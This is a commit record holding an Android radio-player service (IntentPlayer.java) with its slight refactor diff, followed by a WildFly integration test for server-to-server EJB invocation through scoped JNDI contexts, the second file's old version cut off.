if ( ! URLUtil.isValidUrl(url) )
{
toast("Invalid URL.");
return stop();
}
launch_url = url;
// Note: Because of the way we handle network connectivity, the player
// always stops and then restarts as we move between network types.
// Therefore, stop() and start() are always called. So we always have
// the WiFi lock if we're on WiFi and we need it, and don't otherwise.
//
// Here, we could be holding a WiFi lock because the playlist URL was a
// network URL, but perhaps now the launch URL is not. Or the other way
// around. So release the WiFi lock (if it's being held) and reaquire
// it, if necessary.
WifiLocker.unlock();
if ( isNetworkUrl(url) )
WifiLocker.lock(context, app_name_long);
try
{
player.setVolume(1.0f, 1.0f);
player.setDataSource(context, Uri.parse(url));
player.prepareAsync();
}
catch (Exception e)
{ return stop(); }
// The following is not working.
// new Metadata(context,url).start();
return done(State.STATE_BUFFER);
}
@Override
public void onPrepared(MediaPlayer mp)
{
if ( mp == player )
{
log("Starting....");
player.start();
State.set_state(context, State.STATE_PLAY, isNetworkUrl());
}
}
public boolean isNetworkUrl()
{ return isNetworkUrl(launch_url); }
public boolean isNetworkUrl(String check_url)
{ return ( check_url != null && URLUtil.isNetworkUrl(check_url) ); }
/* ********************************************************************
* Stop...
*/
public int stop()
{ return stop(true); }
private int stop(boolean update_state)
{
log("Stopping");
Counter.time_passes();
launch_url = null;
audio_manager.abandonAudioFocus(this);
WifiLocker.unlock();
if ( player != null )
{
log("Stopping/releasing player...");
if ( player.isPlaying() )
player.stop();
player.reset();
player.release();
player = null;
}
if ( playlist_task != null )
{
playlist_task.cancel(true);
playlist_task = null;
}
if ( update_state )
return done(State.STATE_STOP);
else
return done();
}
/* ********************************************************************
* Reduce volume, for a short while, for a notification.
*/
private int duck(String msg)
{
log("Duck: ", State.current());
if ( State.is(State.STATE_DUCK) || ! State.is_playing() )
return done();
player.setVolume(0.1f, 0.1f);
return done(State.STATE_DUCK);
}
/* ********************************************************************
* Pause/restart...
*/
private int pause()
{
log("Pause: ", State.current());
if ( player == null || State.is(State.STATE_PAUSE) || ! State.is_playing() )
return done();
if ( pause_task != null )
pause_task.cancel(true);
// We're still holding resources, including a possibly a Wifi Wakelock
// and the player itself. Spin off a task to convert this "pause"
// into a stop, soon.
pause_task =
new Later()
{
@Override
public void later()
{
pause_task = null;
stop();
}
}.start();
player.pause();
return done(State.STATE_PAUSE);
}
private int restart()
{
log("Restart: ", State.current());
if ( player == null || State.is_stopped() )
return play();
// Always reset the volume.
// There's something broken about the state model.
// For example, we could be in state DUCK, then buffering starts, so
// suddenly we're in state BUFFERING, although we're also still ducked.
// The probelm is that one state is being used to model two different
// things. Until that's fixed, it is nevertheless always safe (??)
// reset the volume on restart.
//
player.setVolume(1.0f, 1.0f);
if ( State.is(State.STATE_PLAY) || State.is(State.STATE_BUFFER) )
return done();
if ( State.is(State.STATE_DUCK) )
return done(State.STATE_PLAY);
int focus = audio_manager.requestAudioFocus(this, AudioManager.STREAM_MUSIC, AudioManager.AUDIOFOCUS_GAIN);
if ( focus != AudioManager.AUDIOFOCUS_REQUEST_GRANTED )
{
toast("Intent Radio:\nFailed to (re-)acquire audio focus.");
return done();
}
if ( pause_task != null )
{ pause_task.cancel(true); pause_task = null; }
player.start();
return done(State.STATE_PLAY);
}
/* ********************************************************************
* Respond to click events from the notification.
*/
private int click()
{
log("Click: ", State.current());
if ( State.is(State.STATE_DISCONNECTED) )
{
stop();
Notify.cancel();
return done();
}
if ( State.is_playing() && ! isNetworkUrl() )
return pause();
if ( State.is_playing() )
{
stop();
Notify.cancel();
return done();
}
if ( player == null || State.is_stopped() )
return play();
if ( State.is(State.STATE_PAUSE) )
return restart();
log("Unhandled click: ", State.current());
return done();
}
/* ********************************************************************
* All onStartCommand() invocations end here...
*/
private int done(String state)
{
if ( state != null )
State.set_state(context, state, isNetworkUrl());
return done();
}
private int done()
{ return START_NOT_STICKY; }
/* ********************************************************************
* Listeners...
*/
@Override
public void onBufferingUpdate(MediaPlayer player, int percent)
{
/*
// Notifications of buffer state seem to be unreliable.
if ( 0 <= percent && percent <= 100 )
log("Buffering: ", ""+percent, "%");
*/
}
@Override
public boolean onInfo(MediaPlayer player, int what, int extra)
{
switch (what)
{
case MediaPlayer.MEDIA_INFO_BUFFERING_START:
State.set_state(context, State.STATE_BUFFER, isNetworkUrl());
break;
case MediaPlayer.MEDIA_INFO_BUFFERING_END:
State.set_state(context, State.STATE_PLAY, isNetworkUrl());
break;
}
return true;
}
private void stop_soon()
{
new Later(300)
{
@Override
public void later()
{ stop(); }
}.start();
}
@Override
public boolean onError(MediaPlayer player, int what, int extra)
{
log("Error: ", ""+what);
State.set_state(context,State.STATE_ERROR, isNetworkUrl());
stop_soon();
// Returning true, here, prevents the onCompletionlistener from being called.
return true;
}
/* ********************************************************************
* On completion listener...
*/
@Override
public void onCompletion(MediaPlayer mp)
{
log("Completion: " + State.current());
// We only enter STATE_COMPLETE for non-network URLs, and only if we
// really were playing (so not, for example, if we are in STATE_ERROR, or
// STATE_DISCONNECTED). This simplifies connectivity management, in
// Connectivity.java.
log("onCompletion: isNetworkUrl: " + isNetworkUrl());
if ( ! isNetworkUrl() && (State.is(State.STATE_PLAY) || State.is(State.STATE_DUCK)) )
State.set_state(context, State.STATE_COMPLETE, isNetworkUrl());
// Don't stay completed for long. stop(), soon, to free up resources.
stop_soon();
}
/* ********************************************************************
* Audio focus listeners...
*/
@Override
public void onAudioFocusChange(int change)
{
log("onAudioFocusChange: ", ""+change);
if ( player != null )
switch (change)
{
case AudioManager.AUDIOFOCUS_GAIN:
log("Audiofocus_gain");
restart();
break;
case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT:
log("Transient");
// pause();
// break;
// Drop through.
case AudioManager.AUDIOFOCUS_LOSS:
log("Audiofocus_loss");
pause();
break;
case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK:
log("Audiofocus_loss_transient_can_duck");
duck("Audio focus lost, ducking...");
break;
}
}
/* ********************************************************************
* Logging...
*/
private void log(String... msg)
{ Logger.log(msg); }
private void toast(String msg)
{ Logger.toast(msg); }
/* ********************************************************************
* Required abstract method...
*/
@Override
public IBinder onBind(Intent intent)
{ return null; }
}
| ir_library/src/org/smblott/intentradio/IntentPlayer.java | package org.smblott.intentradio;
import android.app.Service;
import android.content.Intent;
import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.AsyncTask;
import android.os.IBinder;
import android.os.PowerManager;
import android.os.StrictMode;
import android.media.AudioManager;
import android.media.AudioManager.OnAudioFocusChangeListener;
import android.media.MediaPlayer;
import android.media.MediaPlayer.OnBufferingUpdateListener;
import android.media.MediaPlayer.OnErrorListener;
import android.media.MediaPlayer.OnInfoListener;
import android.media.MediaPlayer.OnPreparedListener;
import android.media.MediaPlayer.OnCompletionListener;
import android.net.Uri;
import android.os.Build.VERSION;
import android.webkit.URLUtil;
public class IntentPlayer extends Service
implements
OnBufferingUpdateListener,
OnInfoListener,
OnErrorListener,
OnPreparedListener,
OnAudioFocusChangeListener,
OnCompletionListener
{
/* ********************************************************************
* Globals...
*/
private static final int note_id = 100;
private static final String preference_file = "state";
private static SharedPreferences settings = null;
private static Context context = null;
private static String app_name = null;
private static String app_name_long = null;
private static String intent_play = null;
private static String intent_stop = null;
private static String intent_pause = null;
private static String intent_restart = null;
private static String intent_state_request = null;
private static String intent_click = null;
private static String default_url = null;
private static String default_name = null;
public static String name = null;
public static String url = null;
private static MediaPlayer player = null;
private static AudioManager audio_manager = null;
private static Playlist playlist_task = null;
private static AsyncTask<Integer,Void,Void> pause_task = null;
private static Connectivity connectivity = null;
/* ********************************************************************
* Create service...
*/
@Override
public void onCreate() {
context = getApplicationContext();
Logger.init(context);
Notify.init(this,context);
app_name = getString(R.string.app_name);
app_name_long = getString(R.string.app_name_long);
intent_play = getString(R.string.intent_play);
intent_stop = getString(R.string.intent_stop);
intent_pause = getString(R.string.intent_pause);
intent_restart = getString(R.string.intent_restart);
intent_state_request = context.getString(R.string.intent_state_request);
intent_click = getString(R.string.intent_click);
default_url = getString(R.string.default_url);
default_name = getString(R.string.default_name);
settings = getSharedPreferences(preference_file, context.MODE_PRIVATE);
url = settings.getString("url", default_url);
name = settings.getString("name", default_name);
audio_manager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
connectivity = new Connectivity(context,this);
}
/* ********************************************************************
* Destroy service...
*/
public void onDestroy()
{
log("Destroyed.");
stop();
if ( player != null )
{
player.release();
player = null;
}
if ( connectivity != null )
{
connectivity.destroy();
connectivity = null;
}
Logger.state("off");
super.onDestroy();
}
/* ********************************************************************
* Main entry point...
*/
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
if ( intent == null || ! intent.hasExtra("action") )
return done();
if ( intent.hasExtra("debug") )
Logger.state(intent.getStringExtra("debug"));
if ( ! Counter.still(intent.getIntExtra("counter", Counter.now())) )
return done();
String action = intent.getStringExtra("action");
log("Action: ", action);
if ( action.equals(intent_stop) ) return stop();
if ( action.equals(intent_pause) ) return pause();
if ( action.equals(intent_restart) ) return restart();
if ( action.equals(intent_click) ) return click();
if ( action.equals(intent_state_request) )
{
State.get_state(context);
return done();
}
if ( action.equals(intent_play) )
{
if ( intent.hasExtra("url") )
url = intent.getStringExtra("url");
if ( intent.hasExtra("name") )
name = intent.getStringExtra("name");
Editor editor = settings.edit();
editor.putString("url", url);
editor.putString("name", name);
editor.commit();
log("Name: ", name);
log("URL: ", url);
Notify.name(name);
return play(url);
}
log("unknown action: ", action);
return done();
}
/* ********************************************************************
* Play...
*/
public int play()
{ return play(url); }
private int play(String url)
{
stop(false);
toast(name);
log("Play: ", url);
if ( ! URLUtil.isValidUrl(url) )
{
toast("Invalid URL.");
return stop();
}
if ( isNetworkUrl(url) && ! Connectivity.isConnected(context) )
{
toast("No internet connection; will not start playback.");
stop(false);
State.set_state(context, State.STATE_DISCONNECTED, isNetworkUrl());
return done();
}
int focus = audio_manager.requestAudioFocus(this, AudioManager.STREAM_MUSIC, AudioManager.AUDIOFOCUS_GAIN);
if ( focus != AudioManager.AUDIOFOCUS_REQUEST_GRANTED )
{
toast("Could not obtain audio focus; not playing.");
return stop();
}
// /////////////////////////////////////////////////////////////////
// Set up media player...
if ( player == null )
{
log("Creating media player...");
player = new MediaPlayer();
player.setWakeMode(context, PowerManager.PARTIAL_WAKE_LOCK);
player.setAudioStreamType(AudioManager.STREAM_MUSIC);
player.setOnPreparedListener(this);
player.setOnBufferingUpdateListener(this);
player.setOnInfoListener(this);
player.setOnErrorListener(this);
player.setOnCompletionListener(this);
}
if ( isNetworkUrl(url) )
WifiLocker.lock(context, app_name_long);
log("Connecting...");
playlist_task = new Playlist(this,url).start();
// The Playlist object calls play_launch(url), when it's ready.
return done(State.STATE_BUFFER);
}
/* ********************************************************************
* Launch player...
*/
// The launch_url may be different from the original URL. For example, it
// could be the URL extracted from a playlist.
private static String launch_url = null;
public int play_launch(String url)
{
log("Launching: ", url);
launch_url = null;
if ( ! URLUtil.isValidUrl(url) )
{
toast("Invalid URL.");
return stop();
}
launch_url = url;
// Note: Because of the way we handle network connectivity, the player
// always stops and then restarts as we move between network types.
// Therefore, stop() and start() are always called. So we always have
// the WiFi lock if we're on WiFi and we need it, and don't otherwise.
//
// Here, we could be holding a WiFi lock because the playlist URL was a
// network URL, but perhaps now the launch URL is not. Or the other way
// around. So release the WiFi lock (if it's being held) and reaquire
// it, if necessary.
WifiLocker.unlock();
if ( isNetworkUrl(url) )
WifiLocker.lock(context, app_name_long);
try
{
player.setVolume(1.0f, 1.0f);
player.setDataSource(context, Uri.parse(url));
player.prepareAsync();
}
catch (Exception e)
{ return stop(); }
// The following is not working.
// new Metadata(context,url).start();
return done(State.STATE_BUFFER);
}
public boolean isNetworkUrl()
{ return isNetworkUrl(launch_url); }
public boolean isNetworkUrl(String check_url)
{ return ( check_url != null && URLUtil.isNetworkUrl(check_url) ); }
/* ********************************************************************
* Stop...
*/
public int stop()
{ return stop(true); }
private int stop(boolean update_state)
{
log("Stopping");
Counter.time_passes();
launch_url = null;
audio_manager.abandonAudioFocus(this);
WifiLocker.unlock();
if ( player != null )
{
log("Stopping/releasing player...");
if ( player.isPlaying() )
player.stop();
player.reset();
player.release();
player = null;
}
if ( playlist_task != null )
{
playlist_task.cancel(true);
playlist_task = null;
}
if ( update_state )
return done(State.STATE_STOP);
else
return done();
}
/* ********************************************************************
* Reduce volume, for a short while, for a notification.
*/
private int duck(String msg)
{
log("Duck: ", State.current());
if ( State.is(State.STATE_DUCK) || ! State.is_playing() )
return done();
player.setVolume(0.1f, 0.1f);
return done(State.STATE_DUCK);
}
/* ********************************************************************
* Pause/restart...
*/
private int pause()
{
log("Pause: ", State.current());
if ( player == null || State.is(State.STATE_PAUSE) || ! State.is_playing() )
return done();
if ( pause_task != null )
pause_task.cancel(true);
// We're still holding resources, including a possibly a Wifi Wakelock
// and the player itself. Spin off a task to convert this "pause"
// into a stop, soon.
pause_task =
new Later()
{
@Override
public void later()
{
pause_task = null;
stop();
}
}.start();
player.pause();
return done(State.STATE_PAUSE);
}
private int restart()
{
log("Restart: ", State.current());
if ( player == null || State.is_stopped() )
return play();
// Always reset the volume.
// There's something broken about the state model.
// For example, we could be in state DUCK, then buffering starts, so
// suddenly we're in state BUFFERING, although we're also still ducked.
// The probelm is that one state is being used to model two different
// things. Until that's fixed, it is nevertheless always safe (??)
// reset the volume on restart.
//
player.setVolume(1.0f, 1.0f);
if ( State.is(State.STATE_PLAY) || State.is(State.STATE_BUFFER) )
return done();
if ( State.is(State.STATE_DUCK) )
return done(State.STATE_PLAY);
int focus = audio_manager.requestAudioFocus(this, AudioManager.STREAM_MUSIC, AudioManager.AUDIOFOCUS_GAIN);
if ( focus != AudioManager.AUDIOFOCUS_REQUEST_GRANTED )
{
toast("Intent Radio:\nFailed to (re-)acquire audio focus.");
return done();
}
if ( pause_task != null )
{ pause_task.cancel(true); pause_task = null; }
player.start();
return done(State.STATE_PLAY);
}
/* ********************************************************************
* Respond to click events from the notification.
*/
private int click()
{
log("Click: ", State.current());
if ( State.is(State.STATE_DISCONNECTED) )
{
stop();
Notify.cancel();
return done();
}
if ( State.is_playing() && ! isNetworkUrl() )
return pause();
if ( State.is_playing() )
{
stop();
Notify.cancel();
return done();
}
if ( player == null || State.is_stopped() )
return play();
if ( State.is(State.STATE_PAUSE) )
return restart();
log("Unhandled click: ", State.current());
return done();
}
/* ********************************************************************
* All onStartCommand() invocations end here...
*/
private int done(String state)
{
if ( state != null )
State.set_state(context, state, isNetworkUrl());
return done();
}
private int done()
{ return START_NOT_STICKY; }
/* ********************************************************************
* Listeners...
*/
@Override
public void onPrepared(MediaPlayer mp)
{
if ( mp == player )
{
log("Starting....");
player.start();
State.set_state(context, State.STATE_PLAY, isNetworkUrl());
}
}
@Override
public void onBufferingUpdate(MediaPlayer player, int percent)
{
/*
// Notifications of buffer state seem to be unreliable.
if ( 0 <= percent && percent <= 100 )
log("Buffering: ", ""+percent, "%");
*/
}
@Override
public boolean onInfo(MediaPlayer player, int what, int extra)
{
switch (what)
{
case MediaPlayer.MEDIA_INFO_BUFFERING_START:
State.set_state(context, State.STATE_BUFFER, isNetworkUrl());
break;
case MediaPlayer.MEDIA_INFO_BUFFERING_END:
State.set_state(context, State.STATE_PLAY, isNetworkUrl());
break;
}
return true;
}
private void stop_soon()
{
new Later(300)
{
@Override
public void later()
{ stop(); }
}.start();
}
@Override
public boolean onError(MediaPlayer player, int what, int extra)
{
log("Error: ", ""+what);
State.set_state(context,State.STATE_ERROR, isNetworkUrl());
stop_soon();
// Returning true, here, prevents the onCompletionlistener from being called.
return true;
}
/* ********************************************************************
* On completion listener...
*/
@Override
public void onCompletion(MediaPlayer mp)
{
log("Completion: " + State.current());
// We only enter STATE_COMPLETE for non-network URLs, and only if we
// really were playing (so not, for example, if we are in STATE_ERROR, or
// STATE_DISCONNECTED). This simplifies connectivity management, in
// Connectivity.java.
log("onCompletion: isNetworkUrl: " + isNetworkUrl());
if ( ! isNetworkUrl() && (State.is(State.STATE_PLAY) || State.is(State.STATE_DUCK)) )
State.set_state(context, State.STATE_COMPLETE, isNetworkUrl());
// Don't stay completed for long.
new Later(300)
{
@Override
public void later()
{ stop(); }
}.start();
}
/* ********************************************************************
* Audio focus listeners...
*/
@Override
public void onAudioFocusChange(int change)
{
log("onAudioFocusChange: ", ""+change);
if ( player != null )
switch (change)
{
case AudioManager.AUDIOFOCUS_GAIN:
log("Audiofocus_gain");
restart();
break;
case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT:
log("Transient");
// pause();
// break;
// Drop through.
case AudioManager.AUDIOFOCUS_LOSS:
log("Audiofocus_loss");
pause();
break;
case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK:
log("Audiofocus_loss_transient_can_duck");
duck("Audio focus lost, ducking...");
break;
}
}
/* ********************************************************************
* Logging...
*/
private void log(String... msg)
{ Logger.log(msg); }
private void toast(String msg)
{ Logger.toast(msg); }
/* ********************************************************************
* Required abstract method...
*/
@Override
public IBinder onBind(Intent intent)
{ return null; }
}
| Refactor, slightly.
| ir_library/src/org/smblott/intentradio/IntentPlayer.java | Refactor, slightly. | <ide><path>r_library/src/org/smblott/intentradio/IntentPlayer.java
<ide> // The following is not working.
<ide> // new Metadata(context,url).start();
<ide> return done(State.STATE_BUFFER);
<add> }
<add>
<add> @Override
<add> public void onPrepared(MediaPlayer mp)
<add> {
<add> if ( mp == player )
<add> {
<add> log("Starting....");
<add> player.start();
<add> State.set_state(context, State.STATE_PLAY, isNetworkUrl());
<add> }
<ide> }
<ide>
<ide> public boolean isNetworkUrl()
<ide> */
<ide>
<ide> @Override
<del> public void onPrepared(MediaPlayer mp)
<del> {
<del> if ( mp == player )
<del> {
<del> log("Starting....");
<del> player.start();
<del> State.set_state(context, State.STATE_PLAY, isNetworkUrl());
<del> }
<del> }
<del>
<del> @Override
<ide> public void onBufferingUpdate(MediaPlayer player, int percent)
<ide> {
<ide> /*
<ide> if ( ! isNetworkUrl() && (State.is(State.STATE_PLAY) || State.is(State.STATE_DUCK)) )
<ide> State.set_state(context, State.STATE_COMPLETE, isNetworkUrl());
<ide>
<del> // Don't stay completed for long.
<del> new Later(300)
<del> {
<del> @Override
<del> public void later()
<del> { stop(); }
<del> }.start();
<add> // Don't stay completed for long. stop(), soon, to free up resources.
<add> stop_soon();
<ide> }
<ide>
<ide> /* ******************************************************************** |
|
Java | lgpl-2.1 | efc866edd2a14b17dcbe051b957cf4d73f527182 | 0 | iweiss/wildfly,rhusar/wildfly,pferraro/wildfly,wildfly/wildfly,iweiss/wildfly,wildfly/wildfly,jstourac/wildfly,rhusar/wildfly,pferraro/wildfly,jstourac/wildfly,wildfly/wildfly,pferraro/wildfly,rhusar/wildfly,wildfly/wildfly,iweiss/wildfly,jstourac/wildfly,iweiss/wildfly,rhusar/wildfly,jstourac/wildfly,pferraro/wildfly | /*
* JBoss, Home of Professional Open Source.
* Copyright 2012, Red Hat, Inc., and individual contributors
* as indicated by the @author tags. See the copyright.txt file in the
* distribution for a full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.jboss.as.test.multinode.remotecall.scoped.context;
import org.junit.Assert;
import org.jboss.arquillian.container.test.api.Deployment;
import org.jboss.arquillian.container.test.api.OperateOnDeployment;
import org.jboss.arquillian.container.test.api.TargetsContainer;
import org.jboss.arquillian.junit.Arquillian;
import org.jboss.as.arquillian.api.ServerSetup;
import org.jboss.logging.Logger;
import org.jboss.shrinkwrap.api.Archive;
import org.jboss.shrinkwrap.api.ShrinkWrap;
import org.jboss.shrinkwrap.api.spec.JavaArchive;
import org.junit.Test;
import org.junit.runner.RunWith;
import javax.naming.InitialContext;
import java.io.FilePermission;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import static org.jboss.as.test.shared.integration.ejb.security.PermissionUtils.createPermissionsXmlAsset;
/**
* A test case for testing the feature introduced in https://issues.jboss.org/browse/EJBCLIENT-34 which
* allows applications to pass JNDI context properties during JNDI context creation for (scoped) EJB client
* context creation
*
* @author Jaikiran Pai
*/
@RunWith(Arquillian.class)
@ServerSetup(PassivationConfigurationSetup.class)
public class DynamicJNDIContextEJBInvocationTestCase {
private static final Logger logger = Logger.getLogger(DynamicJNDIContextEJBInvocationTestCase.class);
private static final String LOCAL_DEPLOYMENT_NAME = "dynamic-jndi-context-ejb-invocation-test";
private static final String REMOTE_SERVER_DEPLOYMENT_NAME = "deployment-on-other-server";
@Deployment(name = "local-server-deployment")
@TargetsContainer("multinode-client")
public static Archive<?> createLocalDeployment() {
final JavaArchive jar = ShrinkWrap.create(JavaArchive.class, LOCAL_DEPLOYMENT_NAME + ".jar");
jar.addClasses(StatefulBeanA.class, LocalServerStatefulRemote.class,PassivationConfigurationSetup.class, DynamicJNDIContextEJBInvocationTestCase.class, StatefulRemoteOnOtherServer.class, StatelessRemoteOnOtherServer.class);
jar.addClasses(StatefulRemoteHomeForBeanOnOtherServer.class);
jar.addAsManifestResource(DynamicJNDIContextEJBInvocationTestCase.class.getPackage(), "MANIFEST.MF", "MANIFEST.MF");
jar.addAsManifestResource(DynamicJNDIContextEJBInvocationTestCase.class.getPackage(), "ejb-jar.xml", "ejb-jar.xml");
jar.addAsManifestResource(createPermissionsXmlAsset(
new FilePermission(System.getProperty("jbossas.multinode.server") + "/standalone/tmp/auth/*", "read")),
"permissions.xml"
);
return jar;
}
@Deployment(name = "remote-server-deployment", testable = false)
@TargetsContainer("multinode-server")
public static Archive<?> createDeploymentForRemoteServer() {
final JavaArchive jar = ShrinkWrap.create(JavaArchive.class, REMOTE_SERVER_DEPLOYMENT_NAME + ".jar");
jar.addClasses(StatefulRemoteOnOtherServer.class, StatelessRemoteOnOtherServer.class, StatefulRemoteHomeForBeanOnOtherServer.class);
jar.addClasses(StatefulBeanOnOtherServer.class, StatelessBeanOnOtherServer.class);
return jar;
}
/**
* Tests that a SFSB hosted on server X can lookup and invoke a SFSB and SLSB hosted on a different server,
* by using a JNDI context which was created by passing the EJB client context creation properties
*
* @throws Exception
*/
@Test
@OperateOnDeployment("local-server-deployment")
public void testServerToServerSFSBInvocation() throws Exception {
final StatefulBeanA sfsbOnLocalServer = InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final int initialCount = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, initialCount);
// just increment a few times
final int NUM_TIMES = 5;
for (int i = 0; i < NUM_TIMES; i++) {
sfsbOnLocalServer.incrementCountByInvokingOnRemoteServerBean();
}
final int countAfterIncrement = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count after increment, from stateful bean", NUM_TIMES, countAfterIncrement);
// let the SFSB invoke an SLSB on a remote server
final String message = "foo";
final String firstEcho = sfsbOnLocalServer.getEchoByInvokingOnRemoteServerBean(message);
Assert.assertEquals("Unexpected echo from remote server SLSB", message, firstEcho);
}
/**
* Tests that a SFSB Foo hosted on server X can lookup and store a SFSB and a SLSB hosted on a different server Y,
* by using a JNDI context which was created by passing the EJB client context creation properties. The SFSB Foo
* on server X is then allowed to passivate and after activation the invocations on the SFSB and SLSB members held
* as state by SFSB Foo are expected to correcty end up on the remote server Y and return the correct state information
*
* @throws Exception
*/
@Test
@OperateOnDeployment("local-server-deployment")
public void testSFSBPassivationWithScopedEJBProxyMemberInstances() throws Exception {
final StatefulBeanA sfsbOnLocalServer = InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final int initialCount = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, initialCount);
// just increment a few times
final int NUM_TIMES_BEFORE_PASSIVATION = 5;
for (int i = 0; i < NUM_TIMES_BEFORE_PASSIVATION; i++) {
sfsbOnLocalServer.incrementCountByInvokingOnRemoteServerBean();
}
final int countAfterIncrement = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count after increment, from stateful bean", NUM_TIMES_BEFORE_PASSIVATION, countAfterIncrement);
// let the SFSB invoke an SLSB on a remote server
final String message = "foo";
final String firstEcho = sfsbOnLocalServer.getEchoByInvokingOnRemoteServerBean(message);
Assert.assertEquals("Unexpected echo from remote server SLSB", message, firstEcho);
// now let's wait for passivation of the SFSB on local server
final CountDownLatch passivationLatch = new CountDownLatch(1);
sfsbOnLocalServer.registerPassivationNotificationLatch(passivationLatch);
logger.trace("Triggering passivation of " + StatefulBeanA.class.getSimpleName() + " bean");
InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final boolean passivated = passivationLatch.await(2, TimeUnit.SECONDS);
if (passivated) {
logger.trace("pre-passivate invoked on " + StatefulBeanA.class.getSimpleName() + " bean");
} else {
Assert.fail(sfsbOnLocalServer + " was not passivated");
}
// just wait a little while longer since the acknowledgement that the pre-passivate was invoked
// doesn't mean the passivation process is complete
Thread.sleep(1000);
// let's activate the passivated SFSB on local server
final int countAfterActivate = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count from stateful bean after it was activated", NUM_TIMES_BEFORE_PASSIVATION, countAfterActivate);
// just make sure @PostActivate was invoked
Assert.assertTrue("Post-activate method was not invoked on bean " + StatefulBeanA.class.getSimpleName(), sfsbOnLocalServer.wasPostActivateInvoked());
// now increment on the remote server SFSB via the local server SFSB
final int NUM_TIMES_AFTER_ACTIVATION = 2;
for (int i = 0; i < NUM_TIMES_AFTER_ACTIVATION; i++) {
sfsbOnLocalServer.incrementCountByInvokingOnRemoteServerBean();
}
final int counterAfterIncrementOnPostActivate = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count after increment, on the post activated stateful bean", NUM_TIMES_BEFORE_PASSIVATION + NUM_TIMES_AFTER_ACTIVATION, counterAfterIncrementOnPostActivate);
// let's also invoke on the remote server SLSB via the local server SFSB
final String echoAfterPostActivate = sfsbOnLocalServer.getEchoByInvokingOnRemoteServerBean(message);
Assert.assertEquals("Unexpected echo message from remote server SLSB", message, echoAfterPostActivate);
}
/**
* Tests that a SFSB hosted on server X can lookup and invoke a SFSB hosted on a different server, through the EJB 2.x
* home view, by using a JNDI context which was created by passing the EJB client context creation properties
* @see https://issues.jboss.org/browse/EJBCLIENT-51
*
* @throws Exception
*/
@Test
@OperateOnDeployment("local-server-deployment")
public void testServerToServerSFSBUsingEJB2xHomeView() throws Exception {
final StatefulBeanA sfsbOnLocalServer = InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final int countUsingEJB2xHomeView = sfsbOnLocalServer.getStatefulBeanCountUsingEJB2xHomeView();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, countUsingEJB2xHomeView);
// now try the other create... method on the remote home
final int countUsingEJB2xHomeViewDifferentWay = sfsbOnLocalServer.getStatefulBeanCountUsingEJB2xHomeViewDifferentWay();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, countUsingEJB2xHomeViewDifferentWay);
// yet another create method
final int initialCount = 54;
final int countUsingEJB2xHomeViewYetAnotherWay = sfsbOnLocalServer.getStatefulBeanCountUsingEJB2xHomeViewYetAnotherWay(initialCount);
Assert.assertEquals("Unexpected initial count from stateful bean", initialCount, countUsingEJB2xHomeViewYetAnotherWay);
}
}
| testsuite/integration/multinode/src/test/java/org/jboss/as/test/multinode/remotecall/scoped/context/DynamicJNDIContextEJBInvocationTestCase.java | /*
* JBoss, Home of Professional Open Source.
* Copyright 2012, Red Hat, Inc., and individual contributors
* as indicated by the @author tags. See the copyright.txt file in the
* distribution for a full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.jboss.as.test.multinode.remotecall.scoped.context;
import org.junit.Assert;
import org.jboss.arquillian.container.test.api.Deployment;
import org.jboss.arquillian.container.test.api.OperateOnDeployment;
import org.jboss.arquillian.container.test.api.TargetsContainer;
import org.jboss.arquillian.junit.Arquillian;
import org.jboss.as.arquillian.api.ServerSetup;
import org.jboss.logging.Logger;
import org.jboss.shrinkwrap.api.Archive;
import org.jboss.shrinkwrap.api.ShrinkWrap;
import org.jboss.shrinkwrap.api.spec.JavaArchive;
import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
import javax.naming.InitialContext;
import java.io.FilePermission;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import static org.jboss.as.test.shared.integration.ejb.security.PermissionUtils.createPermissionsXmlAsset;
/**
